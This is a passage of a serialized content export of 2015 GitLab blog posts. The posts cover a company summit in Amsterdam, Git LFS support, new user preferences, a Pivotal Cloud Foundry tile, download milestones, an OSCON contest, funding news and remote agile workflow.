newsletter.\n\u003C/p>\n",{"slug":39208,"featured":6,"template":678},"why-we-shift-objectives-and-not-release-dates-at-gitlab","content:en-us:blog:why-we-shift-objectives-and-not-release-dates-at-gitlab.yml","Why We Shift Objectives And Not Release Dates At Gitlab","en-us/blog/why-we-shift-objectives-and-not-release-dates-at-gitlab.yml","en-us/blog/why-we-shift-objectives-and-not-release-dates-at-gitlab",{"_path":39214,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39215,"content":39220,"config":39224,"_id":39226,"_type":16,"title":39227,"_source":17,"_file":39228,"_stem":39229,"_extension":20},"/en-us/blog/gitlab-summit-2015",{"title":39216,"description":39217,"ogTitle":39216,"ogDescription":39217,"noIndex":6,"ogImage":38286,"ogUrl":39218,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39218,"schema":39219},"SumIt All Up","Welcome to the GitLab 2015 Summit in Amsterdam.","https://about.gitlab.com/blog/gitlab-summit-2015","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"SumIt All Up\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily Kyle\"}],\n        \"datePublished\": \"2015-11-30\",\n      }",{"title":39216,"description":39217,"authors":39221,"heroImage":38286,"date":39222,"body":39223,"category":6634},[27374],"2015-11-30","\n\nWhat began as an estimated 20 person trip for bonding between our remote\nemployees turned into two weeks, four hotels, five last-minute passports, a 15\nperson Airbnb, 42 people, all the beer in the Netherlands and an infinite\namount of mayonnaise-covered fries… and a partridge in a pear tree.  Welcome to\nthe GitLab 2015 Summit in Amsterdam.\n\n![GitLab team](https://about.gitlab.com/images/blogimages/amsteampic.jpg){: .shadow.medium.center}\n\n\u003C!--more-->\n\nWith our goal of bonding, day one of 14 began with introductions, swag, hugs, and\nan amazing scavenger hunt around Amsterdam. With most people having only met over\nGoogle Hangouts, our rapidly-growing company quickly got over an initial\nawkwardness and by the end of the day teams were doing head butts in Dam Square,\nplaying tricks on the local chocolatier and scheming ways to bribe the judges to\nwin first place (bragging rights only) in the team competition.\n\nOver the next two weeks we covered a lot of ground in the Netherlands. In no\nparticular order here are a few of the highlights: canal tour of Giethoorn\n(beautiful town with canals instead of streets), Rijksmuseum, fries, a dinner\nat the home of our CEO’s parents (including a mean game of the Perfect Number on\nour bus ride there – Sid skillfully slayed with his ability to deceive), fries,\ncelebrated our monthly release over Dutch pancakes, fries, had dinner with the\nfamily of another Netherlands-based employee at a great restaurant, fries, beer\nmaking, fries, a visit to Apenheul (primate park), fries, walking tour of\nAmsterdam, fries, a tongue-in-cheek awards dinner, fries, two days as sponsors\nat OSCON (Open Source Conference), and did we mention fries?!\n\n![Happiest chocolate lover ever!](https://about.gitlab.com/images/summits/2015_amsterdam/dmitriyhugshaydnwithchocolate.jpg)\n\nOf course, there was ample time to work – we have to keep the company going. Our\nhome base, referred to as \"The Lab\", was an amazing home on the Singel where our\nAirbnb host became a GitLab groupie and supported us in our remote style of\ngetting things done and enjoying our lives.\n\n![GitLab Groupie aka David our Airbnb host](https://about.gitlab.com/images/summits/2015_amsterdam/davidatlab.jpeg)\n\nBiggest “ahas” of the trip? Dmitriy might love chocolate more than coding,\nAmsterdam is a truly spectacular city where simply walking around is amazing and\nmost importantly, as the wise Marin Jankovski said, “2 week @GitLab summit\nended today. Main thing I learned: my colleagues are not only 100% professionals\nbut also 500% great people.”\n\nSo, what’s next? We have already begun brainstorming our next summit – location\nand dates TBD. You can be sure that we will rise to the bar that has been set\nand provide yet another memorable experience that supports the idea that those\nwho work remotely are able to have their stroopwafel and eat it too!\n\n## From the folks at GitLab\n \n\nHear our team talking about what they love about working at GitLab, Inc.\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/GJP-3BNyCXw\" frameborder=\"0\" allowfullscreen>\u003C/iframe>\n\n\nWould you like to join our next GitLab Summit? Well then, you'll have to join the team. Please check out our current [job openings](/jobs/). Maybe there is a role for you. :)\n",{"slug":39225,"featured":6,"template":678},"gitlab-summit-2015","content:en-us:blog:gitlab-summit-2015.yml","Gitlab Summit 2015","en-us/blog/gitlab-summit-2015.yml","en-us/blog/gitlab-summit-2015",{"_path":39231,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39232,"content":39237,"config":39241,"_id":39243,"_type":16,"title":39244,"_source":17,"_file":39245,"_stem":39246,"_extension":20},"/en-us/blog/announcing-git-lfs-support-in-gitlab",{"title":39233,"description":39234,"ogTitle":39233,"ogDescription":39234,"noIndex":6,"ogImage":12013,"ogUrl":39235,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39235,"schema":39236},"Announcing Git LFS Support in GitLab","Support for Git Large File Storage is now included in GitLab.com, GitLab Community Edition and Enterprise Edition.","https://about.gitlab.com/blog/announcing-git-lfs-support-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Announcing Git LFS Support in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2015-11-23\",\n      }",{"title":39233,"description":39234,"authors":39238,"heroImage":12013,"date":39239,"body":39240,"category":299},[711],"2015-11-23","\n\nAs the use of Git and GitLab becomes increasingly popular in the development world, we’re seeing people in other industries use GitLab as well. Versioning video files, images, and even microchip designs, teams need to be able to work collaboratively to version any type of large file efficiently and reliably.\n\nIn order to better serve our community with a need to version large files, support for Git Large File Storage (LFS) is now included in GitLab.com, GitLab Community Edition, and GitLab Enterprise Edition. Now game developers, graphic designers, mobile app developers, and anyone else building software requiring large files can use GitLab to version all of their assets.\n\n\u003C!-- more -->\n\nCompanies using [GitLab EE](/pricing/feature-comparison/) still have the option to use [git-annex](/blog/gitlab-annex-solves-the-problem-of-versioning-large-binaries-with-git/), released in February 2015, to version large files or to switch to Git LFS.\n\n## What is Git LFS?\n\nGit LFS uses reference pointers within small text files to point to large files stored on the GitLab servers for GitLab.com, or on your own servers for our on-premises offerings, GitLab CE and EE. Large files such as high resolution images and videos, audio files, and assets can be called from a remote server.\n\nThis allows for Git users to bypass the size restrictions previously given for repositories. The general recommendation has been to not allow Git repositories larger than 1GB to preserve performance and decrease the chances of performance issues.\n\n## How do I get started using Git LFS?\n\nGit LFS is already running on GitLab.com. To update your on-premises version of GitLab EE or CE, simply update your [installation to 8.2](/install/). To learn more about Git LFS, take a look at our [documentation](http://doc.gitlab.com/ce/workflow/lfs/manage_large_binaries_with_git_lfs.html).\n\nDon’t miss the other great features from [yesterday’s release](/releases/2015/11/22/gitlab-8-2-released/) like repository mirroring, award emoji, and more. As always, thanks everyone in the community, both inside the company and out, for helping with this release. If you have any comments or questions, please feel free to comment directly on this post.\n\n## Update\n\nRead the blog post \"[Getting Started with Git LFS](/blog/getting-started-with-git-lfs-tutorial/)\".\n",{"slug":39242,"featured":6,"template":678},"announcing-git-lfs-support-in-gitlab","content:en-us:blog:announcing-git-lfs-support-in-gitlab.yml","Announcing Git Lfs Support In Gitlab","en-us/blog/announcing-git-lfs-support-in-gitlab.yml","en-us/blog/announcing-git-lfs-support-in-gitlab",{"_path":39248,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39249,"content":39254,"config":39258,"_id":39260,"_type":16,"title":39261,"_source":17,"_file":39262,"_stem":39263,"_extension":20},"/en-us/blog/feature-highlight-user-preferences",{"title":39250,"description":39251,"ogTitle":39250,"ogDescription":39251,"noIndex":6,"ogImage":12013,"ogUrl":39252,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39252,"schema":39253},"Feature Highlight: User preferences to customize GitLab behavior","Users requested a few customizations to help the UI better fit their daily use. We are happy to share new user preferences in GitLab 8.1.","https://about.gitlab.com/blog/feature-highlight-user-preferences","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Feature Highlight: User preferences to customize GitLab behavior\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Drew Blessing\"}],\n        \"datePublished\": \"2015-11-05\",\n      }",{"title":39250,"description":39251,"authors":39255,"heroImage":12013,"date":39256,"body":39257,"category":8943},[38020],"2015-11-05","\n\nIn GitLab 8.0 we worked hard to refine the UI so it is really enjoyable\nto use. After the release we received a lot of positive feedback. However,\nusers requested a few customizations to help the UI better fit their daily use.\nWe considered all of this feedback and are happy to share some new user preferences\nin GitLab 8.1.\n\nAmong these new user preferences are the ability to choose between a fluid or fixed\nwidth layout and the option to choose activity as the default dashboard instead of\nthe project list.\n\n\u003C!-- more -->\n\n## Layout width\n\nGitLab 8.0 introduced a fixed width layout in an attempt to make content\neasier to follow. The fixed width layout on large monitors\nwill have a gray negative space on either side of content.\n\n![Fixed width wide screen](https://about.gitlab.com/images/user_preferences/fixed_width_wide_screen.png)\n\nSome users still like the idea of the fluid layout and now they\nhave a choice.\n\nFrom the GitLab dashboard, go to 'Profile Settings' and then 'Preferences'.\n\nScroll down to the 'Behavior' section and choose 'Fluid' from the 'Layout width'\ndropdown. Save changes and you will now take full advantage of your large screen.\n\n![Fluid width wide screen](https://about.gitlab.com/images/user_preferences/fluid_width_wide_screen.png)\n\n## Default Dashboard\n\nAnother change in GitLab 8.0 was that the old dashboard containing both the\nproject list and activity were split out in to two different pages - 'Projects'\nand 'Activity'. By splitting them out we are able to add some additional scopes\nto each page, such as a tab for starred projects and starred projects' activity.\nBeginning in 8.1 users can choose between four different default dashboard views.\n\nFrom the GitLab dashboard, go to 'Profile Settings' and then 'Preferences'.\n\nScroll down to the 'Behavior' section and choose one of four options from the\n'Default Dashboard' dropdown.\n\n* **Your Projects** This view is the default and shows a list of all projects in which you are a\nmember.\n* **Starred Projects** This view shows a list of projects that you have starred. If you are a member\nof many projects you may want to star a few so this list will display your\nmost common projects.\n* **Your Projects' Activity** This view shows activity for all projects in which you are a member. This is\nsimilar to the previous activity on the dashboard prior to 8.0.\n* **Starred Projects' Activity** This view will show activity only for those projects that you star. Again,\nif you are involved in many projects you may want to star a few so your\nactivity is not so crowded.\n\n## Project view\n\nAlthough not new for GitLab 8.1, it's also worth sharing the 'Project view'\nuser preference. By default, a project's main page will display the Readme\nfile. This is great for first-time visitors who are not familiar with the project.\nHowever, project members that frequent this page may be more interested in the\nrecent activity.\n\nFrom the GitLab dashboard, go to 'Profile Settings' and then 'Preferences'.\n\nScroll down to the 'Behavior' section and choose either 'Readme' or 'Activity'\nin the 'Project view' dropdown.\n\n### Readme View\n\n![Project Readme View](https://about.gitlab.com/images/user_preferences/project_readme.png)\n\n### Activity View\n\n![Project Activity View](https://about.gitlab.com/images/user_preferences/project_activity.png)\n\n## Documentation\n\nWe hope these new user preferences allow users to customize GitLab in a way that\nbest fits their daily use. See the [GitLab 8.1 release post](/releases/2015/10/22/gitlab-8-1-released/)\nfor information on upgrading so you can take advantage of these features today.\nUsers on GitLab.com can take advantage of these features immediately.\n",{"slug":39259,"featured":6,"template":678},"feature-highlight-user-preferences","content:en-us:blog:feature-highlight-user-preferences.yml","Feature Highlight User Preferences","en-us/blog/feature-highlight-user-preferences.yml","en-us/blog/feature-highlight-user-preferences",{"_path":39265,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39266,"content":39272,"config":39276,"_id":39278,"_type":16,"title":39279,"_source":17,"_file":39280,"_stem":39281,"_extension":20},"/en-us/blog/pivotal-cloud-foundry-tile-for-gitlab-ee",{"title":39267,"description":39268,"ogTitle":39267,"ogDescription":39268,"noIndex":6,"ogImage":39269,"ogUrl":39270,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39270,"schema":39271},"Pivotal Cloud Foundry Tile for GitLab EE","Today we're excited to announce the Pivotal Cloud Foundry tile for GitLab Enterprise Edition.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684505/Blog/Hero%20Images/fall.jpg","https://about.gitlab.com/blog/pivotal-cloud-foundry-tile-for-gitlab-ee","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Pivotal Cloud Foundry Tile for GitLab EE\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2015-11-03\",\n      }",{"title":39267,"description":39268,"authors":39273,"heroImage":39269,"date":39274,"body":39275,"category":299},[711],"2015-11-03","\n\nToday we're excited to announce the [Pivotal Cloud Foundry](https://pivotal.io/platform/press-release/go-from-idea-to-production-in-less-than-a-day) tile for GitLab Enterprise Edition.\nWith this partnership, developers will be able to easily deploy GitLab as a pre-configured\nappliance using Ops Manager (BOSH) for Pivotal Cloud Foundry.\n\n\u003C!-- more -->\n\n## About the tile\n\nWith the GitLab tile for Pivotal Cloud Foundry,\ndeploying GitLab is a matter of clicking 'Install'.\n\n![GitLab Tile in Pivotal Cloud Foundry](https://about.gitlab.com/images/pcf/pcf.png)\n\nGitLab on PCF will run highly available by default and can be scaled up\neasily by changing a single value.\n\n![Scale up GitLab by changing a single value](https://about.gitlab.com/images/pcf/ha.png)\n\nFurther configuration of GitLab can be done fully within the Pivotal Cloud\nFoundry environment.\n\n![Configure GitLab in Pivotal Cloud Foundry](https://about.gitlab.com/images/pcf/configure1.png)\n\n![Configure GitLab's Redis in Pivotal Cloud Foundry](https://about.gitlab.com/images/pcf/configure3.png)\n\nAs enterprise developers seek more control of their development toolkit, this partnership\nwill allow their development to be more customizable, more integrated, and more secure.\n",{"slug":39277,"featured":6,"template":678},"pivotal-cloud-foundry-tile-for-gitlab-ee","content:en-us:blog:pivotal-cloud-foundry-tile-for-gitlab-ee.yml","Pivotal Cloud Foundry Tile For Gitlab Ee","en-us/blog/pivotal-cloud-foundry-tile-for-gitlab-ee.yml","en-us/blog/pivotal-cloud-foundry-tile-for-gitlab-ee",{"_path":39283,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39284,"content":39289,"config":39293,"_id":39295,"_type":16,"title":39296,"_source":17,"_file":39297,"_stem":39298,"_extension":20},"/en-us/blog/one-million-downloads-of-gitlab",{"title":39285,"description":39286,"ogTitle":39285,"ogDescription":39286,"noIndex":6,"ogImage":37658,"ogUrl":39287,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39287,"schema":39288},"One Million Downloads of GitLab","Today we announced that we have over one million downloads between Gitlab CE and GitLab EE.","https://about.gitlab.com/blog/one-million-downloads-of-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"One Million Downloads of GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2015-10-29\",\n      }",{"title":39285,"description":39286,"authors":39290,"heroImage":37658,"date":39291,"body":39292,"category":299},[3532],"2015-10-29","\n\nIt has been a great week at OSCON in Amsterdam meeting with people from the open source community. We’re humbled by the enthusiasm shown by everyone for GitLab.\n\nToday we announced that we have over one million downloads between [Gitlab CE](/pricing/feature-comparison/) and [GitLab EE](/pricing/feature-comparison/). We started in 2011 as an open source project and have seen great growth, particularly over the last year.\n\n### Taking a trip down memory lane:\n\n**2011:** GitLab is created as an open source project. [This commit](https://gitlab.com/gitlab-org/gitlab-ce/commit/0f43e98ef8c2da8908b1107f75b67cda2572c2c4) was the very start of GitLab.\n\n\u003C!-- more -->\n\n**2013:** GitLab becomes a bootstrapped company with full-time employees.\n\n**February 2015:** GitLab participates in Y Combinator’s Winter 2015 class\n\n**March 2015:** Hailed by Techcrunch as [\"YC-Backed GitLab Is Like GitHub But For Enterprise”](http://techcrunch.com/2015/03/03/the-great-git-debate)\n\n**August 2015:** [GitLab Raises $4M Series A Round From Khosla Ventures](http://techcrunch.com/2015/09/17/gitlab-raises-4m-series-a-round-from-khosla-ventures-for-its-open-source-collaboration-platform/) with Vinod Khosla commenting at the time, \"there is a very large market demand for a more open solution that enables engineers to create, review, collaborate, and accelerate the iterative process by deploying code that brings products to market faster.”\n\n**September 2015:** Since 2011, we’ve been releasing new updates to GitLab on the 22nd of every month. September’s launch of [GitLab 8.0](/releases/2015/09/22/gitlab-8-0-released/) was our largest release yet with product improvements, integrating GitLab CI into the core product, and an all-new design.\n\n**October 2015:** We hit 1 million downloads of GitLab CE and GitLab EE. More than 100,000 organizations currently use GitLab on premises including CERN, Alibaba, SpaceX, O’Reilly, IBM and Expedia. GitLab's Enterprise Edition is now being used by a large percentage of the Fortune 500.\n\nWe’d like to say thank you to everyone that has helped along the way. We have such a loyal, vocal community of more than 800 contributors that have helped us roll out new features and countless people helping others to get started with GitLab. We look forward to the next million!\n",{"slug":39294,"featured":6,"template":678},"one-million-downloads-of-gitlab","content:en-us:blog:one-million-downloads-of-gitlab.yml","One Million Downloads Of Gitlab","en-us/blog/one-million-downloads-of-gitlab.yml","en-us/blog/one-million-downloads-of-gitlab",{"_path":39300,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39301,"content":39307,"config":39311,"_id":39313,"_type":16,"title":39314,"_source":17,"_file":39315,"_stem":39316,"_extension":20},"/en-us/blog/gitlab-oscon-challenge-2015",{"title":39302,"description":39303,"ogTitle":39302,"ogDescription":39303,"noIndex":6,"ogImage":39304,"ogUrl":39305,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39305,"schema":39306},"GitLab OSCON Challenge 2015","GitLab will be sponsoring OSCON in Amsterdam from October 26th to October 28th, 2015. Would you like to join us?","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684497/Blog/Hero%20Images/oscon.png","https://about.gitlab.com/blog/gitlab-oscon-challenge-2015","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab OSCON Challenge 2015\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Team\"}],\n        \"datePublished\": \"2015-10-14\",\n      }",{"title":39302,"description":39303,"authors":39308,"heroImage":39304,"date":39309,"body":39310,"category":299},[1380],"2015-10-14","\n\nOnce considered a radical upstart, open source has moved from disruption to default. Its methods and culture\ncommoditized the technologies that drove the Internet revolution and transformed the practice of software\ndevelopment.\n\nSince 1999, O’Reilly Media has organized OSCON, an annual convention for the discussion of free and open source\nsoftware.\n\nOSCON is where all of the pieces come together: developers, innovators, business people, and investors. At OSCON,\nyou'll find everything open source: languages, communities, best practices, products and services. Rather than focus\non a single language or aspect, such as cloud computing, OSCON allows you to learn about and practice the entire\nrange of open source technologies.\n\nGitLab will be sponsoring OSCON in Amsterdam from October 26th to October 28th, 2015. Would you like to join us? \n\n\u003C!-- more -->\n\nWe have one special pass to give to one of our users. This pass is worth 1,545 Euros and\nit will give you access to all sessions, keynotes and tutorials, 2 months of Safari Pro, access to all on-site\nnetworking events and lunch from Monday to Wednesday.\n\nSounds interesting?\n\n## The Details\n\nCreate a page like the [OSCON speakers page](http://conferences.oreilly.com/oscon/open-source-eu-2015/public/schedule/speaker/206462) and include why you\nuse and love GitLab and why you’d like to attend OSCON. We love creativity, so don’t be shy!\n\nYou must submit a Merge Request in [OSCON 2015 Repository](https://gitlab.com/gitlab-com/oscon2015) with your name in\nthe namespace.\n\nTweet, mentioning @GitLab and sharing a link to your Merge Request. This tweet should also have #OSCON included.\n\nTweet your MR by midnight PDT on **October 22nd, 2015**.\n\nAfter the submission deadline on October 22nd, GitLab employees will review and vote on all entries to pick the top\nwinner. We'll send out notifications to the winner by midnight PDT, October 23rd through Twitter.\n\n## The prize\nThe winning entry will receive a gold pass to OSCON Amsterdam 2015. This pass includes:\n\nAll sessions (Mon-Tue)\nAll keynotes (Mon-Tue)\nAll tutorials (Wed)\nVideo Compilation\n(All tutorials, keynotes, and sessions)\n3 months of Safari Pro\nSponsor Pavilion (Mon-Tue)\nAll on-site networking events\nLunch (Mon-Wed)\n\nFor more information regarding OSCON Amsterdam 2015, visit [OSCON 2015 website](http://conferences.oreilly.com/oscon/open-source-eu-2015).\n",{"slug":39312,"featured":6,"template":678},"gitlab-oscon-challenge-2015","content:en-us:blog:gitlab-oscon-challenge-2015.yml","Gitlab Oscon Challenge 2015","en-us/blog/gitlab-oscon-challenge-2015.yml","en-us/blog/gitlab-oscon-challenge-2015",{"_path":39318,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39319,"content":39324,"config":39328,"_id":39330,"_type":16,"title":39331,"_source":17,"_file":39332,"_stem":39333,"_extension":20},"/en-us/blog/perforce-launches-gitswarm-based-on-gitlab",{"title":39320,"description":39321,"ogTitle":39320,"ogDescription":39321,"noIndex":6,"ogImage":12013,"ogUrl":39322,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39322,"schema":39323},"Perforce launches GitSwarm based on GitLab","Today Perforce launched Helix GitSwarm built on top of GitLab.","https://about.gitlab.com/blog/perforce-launches-gitswarm-based-on-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Perforce launches GitSwarm based on GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2015-10-06\",\n      }",{"title":39320,"description":39321,"authors":39325,"heroImage":12013,"date":39326,"body":39327,"category":299},[711],"2015-10-06","\n\nToday Perforce launched [Helix GitSwarm](http://techcrunch.com/2015/10/06/new-perforce-tool-gives-developers-what-they-love-and-it-what-it-needs/) built on top of [GitLab](). GitSwarm combines Perforce and GitLab to enable easy project and team management while allowing developers to collaboratively code using their preferred version control system, Git. \n\nWe’re happy that Perforce chose GitLab to help their customers create, code, and deploy together. To learn more, have a look at the [GitSwarm overview](http://www.perforce.com/gitswarm).",{"slug":39329,"featured":6,"template":678},"perforce-launches-gitswarm-based-on-gitlab","content:en-us:blog:perforce-launches-gitswarm-based-on-gitlab.yml","Perforce Launches Gitswarm Based On Gitlab","en-us/blog/perforce-launches-gitswarm-based-on-gitlab.yml","en-us/blog/perforce-launches-gitswarm-based-on-gitlab",{"_path":39335,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39336,"content":39342,"config":39346,"_id":39348,"_type":16,"title":39349,"_source":17,"_file":39350,"_stem":39351,"_extension":20},"/en-us/blog/gitlab-announces-4m-series-a-funding-from-khosla-ventures",{"title":39337,"description":39338,"ogTitle":39337,"ogDescription":39338,"noIndex":6,"ogImage":39339,"ogUrl":39340,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39340,"schema":39341},"GitLab announces $4M series A funding from Khosla Ventures","Today we are proud to announce our $4 million Series A funding from Khosla Ventures.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749684454/Blog/Hero%20Images/gitlab-funded.jpg","https://about.gitlab.com/blog/gitlab-announces-4m-series-a-funding-from-khosla-ventures","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab announces $4M series A funding from Khosla Ventures\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2015-09-17\",\n      }",{"title":39337,"description":39338,"authors":39343,"heroImage":39339,"date":39344,"body":39345,"category":299},[711],"2015-09-17","\n\nToday we are proud to announce our $4 million Series A funding from Khosla Ventures.\nThis follows our [seed round in July](/blog/1-5m-raised-in-seed-funding-for-gitlab-to-accelerate-growth-and-expand-operations/).\n\nGitLab will leverage the new funding to accelerate growth and scale its global\noperations including development, marketing, and sales. Additionally, GitLab\nannounced the upcoming release of GitLab 8.0, which is scheduled for release on\nSeptember 22.  GitLab 8.0 will include 50 percent less disk usage, faster\nmerging, Continuous Integration (CI) built into GitLab itself, improved\ninterface and navigation, and \"Reply by email\" functionality that allows users\nto quickly comment on an issue or merge request from their mobile devices.\n\n![Activity View](https://about.gitlab.com/images/screenshots_8.0/activity_view.png)\n\nMore than 100,000 companies and organizations currently use GitLab on-premises\nincluding NASA, CERN, Alibaba, SpaceX, O’Reilly, IBM, and Expedia. These\norganizations and many individual contributors hack on, contribute to, and help\nGitLab become better every single day.\n\nIt is our goal to become the default solution for anyone building software and\nworking together. The excitement and passion of our community has convinced us\nthat open-source is the way forward. We want to accelerate our growth and expand\noperations so we can reach more people and build an even better GitLab.\n\n\u003C!--more-->\n\n## GitLab, an Open-Source Company\n\nOur three product offerings — a free, open source Community Edition, a free SaaS\nGitLab.com version, and our Enterprise version – provide accessibility, full\ntransparency, and stand as a serious challenger to other Git platforms. GitLab\nfeatures include:\n\n  - Zero-touch installation and upgrades\n  - GitHub, Bitbucket, Google Code, Gitorious importers\n  - Two-factor authentication\n  - SAML and Kerberos authentication\n  - Merge request approvers\n  - Audit logging\n\n![Milestones](https://about.gitlab.com/images/screenshots_8.0/milestones.png)\n\nWith this new round of funding, we hope to provide more features, support, and expand to more companies and\norganizations as the most popular and most trusted open source code collaboration platform.\n\nAfter our Y Combinator experience and successful seed round funding, we knew we wanted to go above and beyond what we\nhad done so far and make GitLab bigger and better for everyone, which is why we are working\nwith some amazing investors.\n\nVinod Khosla, founder and partner of Khosla Ventures said this about us:\n\n> “Investing in GitLab was an obvious choice. Open source solutions are the future,\nand GitLab is leading the way as the most popular open source code collaboration platform\non the market.”\n\n> “GitLab’s reach in over 100K organizations validates that there is a very large market\ndemand for a more open solution that enables engineers to create, review, collaborate, and\naccelerate the iterative process by deploying code that brings products to market faster.”\n\nWe're all very excited with this opportunity our investors have given us.\nIt means we can accelerate growth and scale our US operations, which\nincludes the recent opening of a new Experience Center in San Francisco (don't worry,\nwe're [still remote](/blog/the-remote-manifesto/)!).\n\nSytse \"Sid\" Sijbrandij, our CEO said:\n\n> “GitLab differentiates itself from other collaborative Git platforms because\n> we are open source - [and always have been](/blog/letter-from-shareholders/).\n> Open source helps users to reach their goals faster with the transparency and\n> control they expect from their tools.”\n\n> “Our users choose GitLab because they can run it on their own servers, the\n> source code is open and adaptable, and organizations can build on top of\n> GitLab. We also have a loyal, vocal community of more than 800 contributors\n> whose constant improvements help us roll out new features faster than anyone\n> else on the market.”\n\n![Project](https://about.gitlab.com/images/screenshots_8.0/project.png)\n\n## Thank you for believing in us\n\nWe'd like to thank our amazing community that has contributed major features,\nbug fixes, documentation updates and more than we can ever return. We owe\nGitLab's existence to your enthusiasm, drive, and hard work. Without our contributors'\nbelief in open source software, GitLab would be nowhere near where it is today.\n\nThank you to our team that has been working hard every single day and feels more\nlike a highly distributed, international family than a company.  We especially\nthank the [core team](/community/core-team/) members that are not paid\nby GitLab Inc: Robert Schilling, Hannes Rosenögger, Achilleas Pipinellis, Stan\nHu, James Newton and Jeroen van Baarsen.\n\n_Want to help GitLab grow? [We're looking for people to work with us!](/jobs/)_\n",{"slug":39347,"featured":6,"template":678},"gitlab-announces-4m-series-a-funding-from-khosla-ventures","content:en-us:blog:gitlab-announces-4m-series-a-funding-from-khosla-ventures.yml","Gitlab Announces 4m Series A Funding From Khosla Ventures","en-us/blog/gitlab-announces-4m-series-a-funding-from-khosla-ventures.yml","en-us/blog/gitlab-announces-4m-series-a-funding-from-khosla-ventures",{"_path":39353,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":39354,"content":39359,"config":39363,"_id":39365,"_type":16,"title":39366,"_source":17,"_file":39367,"_stem":39368,"_extension":20},"/en-us/blog/remote-agile-at-gitlab",{"title":39355,"description":39356,"ogTitle":39355,"ogDescription":39356,"noIndex":6,"ogImage":38484,"ogUrl":39357,"ogSiteName":1180,"ogType":1181,"canonicalUrls":39357,"schema":39358},"Remote Agile at GitLab","This is a start in describing the workflow that we've established over the past year at GitLab.","https://about.gitlab.com/blog/remote-agile-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Remote Agile at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Job van der Voort\"}],\n        \"datePublished\": \"2015-09-14\",\n      }",{"title":39355,"description":39356,"authors":39360,"heroImage":38484,"date":39361,"body":39362,"category":6634},[36660],"2015-09-14","\n\nEvery month on the 22nd a new version of GitLab is released. It always\nincludes major changes, with features, bug fixes and performance improvements.\nWe haven't missed a single month since our inception.\n\nWe are completely remote, save for the Experience Center in San Francisco that not a single\ndeveloper frequents (a 10,000km commute is a bit much for most). We do not have\npredefined teams and almost everyone works independently (i.e. without someone telling\nthem what to do).\n\nWe do not practice any specific agile methodology, but meet the principles\nof the [agile manifesto](http://www.agilemanifesto.org/iso/en/principles.html) quite well.\n\nThis is a start in describing the workflow that we've established over\nthe past year at GitLab, as it seems to work for us and might for you. It's\nlightweight and self organizing. It might or might not scale.\n\n\u003C!-- more -->\n\n## Incoming issues\n\nA large part of everything we build in terms of features is based on feedback from the\ncommunity and customers.\n\nWhen a request comes in from a customer (through support or sales usually),\nthe person receiving this request creates an issue to discuss it.\nThey are responsible for mentioning relevant parties. For most features that\nis the product manager, CTO, and any developers or other people that might be\ninterested in this feature.\n\nNext, anyone with an opinion responds to the issue. This is often done in direct\nresponse to others, including more people in the discussion if necessary. The\npoint is to reach some form of consensus. Once this has been reached, the issue\nis scheduled for an upcoming release (e.g. 8.1 or 8.2). Anyone can do this based\non the information in the issue and on how full the upcoming releases are versus\nhow important this is.\n\nEveryone that has participated in the conversation will be updated with any status\nchange. Therefore anyone can freely schedule things. If someone disagrees, they'll\nspeak up.\n\n### Known issues\n\nIt's very hard to schedule things. We simply do not have a good way to estimate\nwhether something will be doable, besides estimating based on previous releases.\nHowever, we prefer the scheduling to be hard over adding overhead with estimating\nweights and velocity for the team. We might change our minds on this.\n\n## Working and Prioritizing\n\nA developer can pick up any issue at any time they're working.\nThey simply assign themselves, marking it as \"Ongoing\" in [GitLab's Milestone\nView](https://gitlab.com/gitlab-org/gitlab-ce/milestones/13).\n\nSome issues have a clear owner in terms of knowledge and ownership of that part\nof the code. Usually this developer has already been active in the issue. The\ndeveloper likely picks these issues. This is a self-organizing process.\n\nA small part of the issues is promised to a customer. This means that we told the\ncustomer: \"Feature X will be done in release Y\". We always intend to keep our\npromise, so these issues get prioritized by 